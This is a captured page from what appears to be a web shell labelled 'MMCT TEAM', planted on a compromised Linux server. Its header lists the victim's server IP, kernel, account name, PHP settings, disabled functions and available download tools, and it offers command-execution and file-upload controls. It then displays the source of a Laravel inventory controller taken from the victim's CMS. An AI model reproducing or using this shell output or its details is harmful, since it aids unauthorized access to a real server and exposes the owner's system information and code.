MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/cms.ncriptech.com/app/Http/Controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cms.ncriptech.com/app/Http/Controllers/InventoryController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\Item;
use App\User;

class InventoryController extends Controller
{
    public function filterItem(Request $request)
    {
        //
        $data=$request->all();

        $items = Item::where('category_id', $data['category'])->where('status', '1')->orderBy('name', 'asc')->get();

        return response()->json($items);
    }

    public function filterQuantity(Request $request)
    {
        //
    	$data=$request->all();

        $item = Item::where('id', $data['item'])->where('status', '1')->first();

        if(count($item->stocks) > 0){
        	$stocks = $item->stocks->where('status', '1')->sum('quantity');
        }
        else{
        	$stocks = 0;
        }
        if(count($item->issues) > 0){
        	$issues = $item->issues->where('status', '<=', '1')->sum('quantity');
        }
        else{
        	$issues = 0;
        }
        $quantity = $stocks - $issues;

        return response()->json($quantity);
    }

    public function filterDepartment(Request $request)
    {
        //
        $data=$request->all();

        $users = User::where('department_id', $data['department'])->where('status', '1')->orderBy('staff_id', 'asc')->get();

        return response()->json($users);
    }
}

MMCT - 2023